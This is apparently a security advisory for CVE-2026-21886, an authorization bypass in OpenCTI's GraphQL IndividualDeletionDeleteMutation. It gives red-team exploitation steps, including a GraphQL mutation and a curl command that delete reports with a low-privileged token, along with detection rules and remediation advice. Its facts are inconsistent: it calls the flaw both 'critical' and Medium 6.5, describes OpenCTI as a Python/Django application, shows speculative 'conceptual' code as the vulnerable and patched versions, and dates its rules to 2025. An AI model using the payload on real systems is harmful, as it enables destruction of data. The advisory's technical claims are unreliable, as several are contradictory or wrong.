CVE-2026-21886

Executive Summary

CVE-2026-21886 is a critical authorization bypass vulnerability in the OpenCTI platform, an open-source system for managing cyber threat intelligence (CTI) knowledge and observables. The flaw resides in the GraphQL mutation IndividualDeletionDeleteMutation, which is intended to allow authenticated users to delete individual entity objects. However, due to a lack of contextual validation, an attacker with low privileges can misuse this mutation to delete unrelated and sensitive objects, such as analyses, reports, and other critical CTI data. This can lead to significant data loss and disruption of threat intelligence operations. The vulnerability has a CVSS score of 6.5 (Medium) and is patched in version 6.9.1.

Supply Chain & Package Security

This vulnerability affects the OpenCTI platform, which is distributed as a Python/Django application. The risk is primarily to organizations that self-host OpenCTI. There is no direct supply chain compromise of the package itself, but the vulnerability allows authenticated users to perform unauthorized deletions, which could be exploited by malicious insiders or attackers who have gained low-level access.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a valid low-privileged account.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): High (H) – The attacker can delete critical data, causing significant integrity loss.
• Availability (A): Low (L) – The deletion of objects may impact availability of certain features.

Threat Level: Medium. While the CVSS score is 6.5, the potential for data loss and disruption of CTI operations makes this a serious concern for organizations relying on OpenCTI.

Deep Dive & Mechanics

The vulnerability is rooted in the GraphQL API of OpenCTI. The IndividualDeletionDeleteMutation is designed to delete individual entity objects (e.g., a person or organization). However, the mutation does not validate that the object being deleted is actually an "individual" entity. This allows an attacker to pass the ID of any object (e.g., a report, analysis, or indicator) to the mutation, and the system will delete it without proper authorization checks.

Key Technical Details:

• Affected Component: IndividualDeletionDeleteMutation in the GraphQL schema.
• Root Cause: Lack of input validation to ensure the target object is of the expected type (Individual).
• Attack Vector: An authenticated user sends a crafted GraphQL mutation with the ID of a sensitive object.
• Impact: Unauthorized deletion of critical CTI data, including reports, analyses, and observables.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-6.9.1): The mutation likely accepts any object ID without checking its type.

# Vulnerable implementation (conceptual)
class IndividualDeletionDeleteMutation(graphene.Mutation):
    class Arguments:
        id = graphene.ID(required=True)

    def mutate(self, info, id):
        # No type validation
        obj = get_object_by_id(id)
        obj.delete()
        return IndividualDeletionDeleteMutation()

Patched Code (6.9.1): The patched version adds a type check to ensure the object is an Individual before deletion.

# Patched implementation (conceptual)
class IndividualDeletionDeleteMutation(graphene.Mutation):
    class Arguments:
        id = graphene.ID(required=True)

    def mutate(self, info, id):
        obj = get_object_by_id(id)
        if not isinstance(obj, Individual):
            raise PermissionDenied("You can only delete Individual objects.")
        obj.delete()
        return IndividualDeletionDeleteMutation()

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid low-privileged account on an OpenCTI instance (version < 6.9.1).
• Network access to the OpenCTI GraphQL endpoint.

Exploitation Steps:

1. Authenticate to the OpenCTI instance and obtain a session token.
2. Identify a target object (e.g., a report) by its ID. This can be done by querying the GraphQL API for object IDs.
3. Craft a GraphQL mutation to delete the target object using the IndividualDeletionDeleteMutation.

   mutation {
     IndividualDeletionDeleteMutation(id: "report-uuid-here") {
       # No return fields needed
     }
   }
   

4. Send the mutation to the GraphQL endpoint (e.g., /graphql).
5. Verify deletion by attempting to query the deleted object.

Example cURL Command:

curl -X POST https://target-opencti/graphql \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{"query": "mutation { IndividualDeletionDeleteMutation(id: \"report-uuid-here\") { id } }"}'

Blue Team (Detection & Defense)

Detection:

• Monitor GraphQL API logs for unusual IndividualDeletionDeleteMutation calls targeting non-Individual objects.
• Alert on bulk deletion events or deletions of critical objects (e.g., reports, analyses) by low-privileged users.
• Use the Sigma rule provided in the Detection Engineering section.

Defense:

• Immediate: Upgrade to OpenCTI version 6.9.1 or later.
• Workaround: If patching is not immediately possible, restrict access to the GraphQL API to trusted users only, and implement additional monitoring.
• Long-term: Implement strict input validation and authorization checks for all GraphQL mutations.

Indicators of Compromise (IOCs)

• Network IOCs:
  • GraphQL mutation requests containing IndividualDeletionDeleteMutation with IDs of non-Individual objects.
  • Unusual deletion events in OpenCTI audit logs.
• System IOCs:
  • Missing or deleted reports, analyses, or other critical CTI objects.
  • Audit log entries showing deletion of objects by unexpected users or roles.
• Log IOCs:
  • GraphQL query logs showing IndividualDeletionDeleteMutation with id parameters that do not correspond to Individual entities.

Detection Engineering

YARA Rule

rule CVE_2026_21886_OpenCTI_Deletion {
    meta:
        description = "Detects GraphQL mutations exploiting CVE-2026-21886 in OpenCTI"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-21886"
    strings:
        $mutation = "IndividualDeletionDeleteMutation"
        $id_field = "\"id\":"
    condition:
        $mutation and $id_field
}

Sigma Rule

title: OpenCTI Unauthorized Object Deletion via IndividualDeletionDeleteMutation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of CVE-2026-21886 where an attacker uses the IndividualDeletionDeleteMutation to delete non-Individual objects.
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-21886
logsource:
    category: application
    product: opencti
    service: graphql
detection:
    selection:
        mutation: "IndividualDeletionDeleteMutation"
        object_type: "!Individual"
    condition: selection
falsepositives:
    - Legitimate deletion of Individual objects
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-21886 - OpenCTI Unauthorized Object Deletion via GraphQL";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/graphql"; http_uri;
    content:"IndividualDeletionDeleteMutation"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2026-21886;
    classtype:attempted-user;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade OpenCTI to version 6.9.1 or later. This is the only complete fix.
2. Review audit logs for any suspicious deletion events that may indicate exploitation.
3. Rotate credentials of any low-privileged accounts that may have been compromised.

Long-Term Mitigations:

• Implement the principle of least privilege for all OpenCTI users.
• Enable detailed audit logging for all GraphQL mutations.
• Regularly review and test GraphQL API security.
• Consider using a Web Application Firewall (WAF) to filter malicious GraphQL queries.

Workarounds (if patching is delayed):

• Restrict network access to the OpenCTI GraphQL endpoint to trusted IPs only.
• Disable the IndividualDeletionDeleteMutation mutation temporarily by modifying the OpenCTI source code (not recommended for production).

Valters IT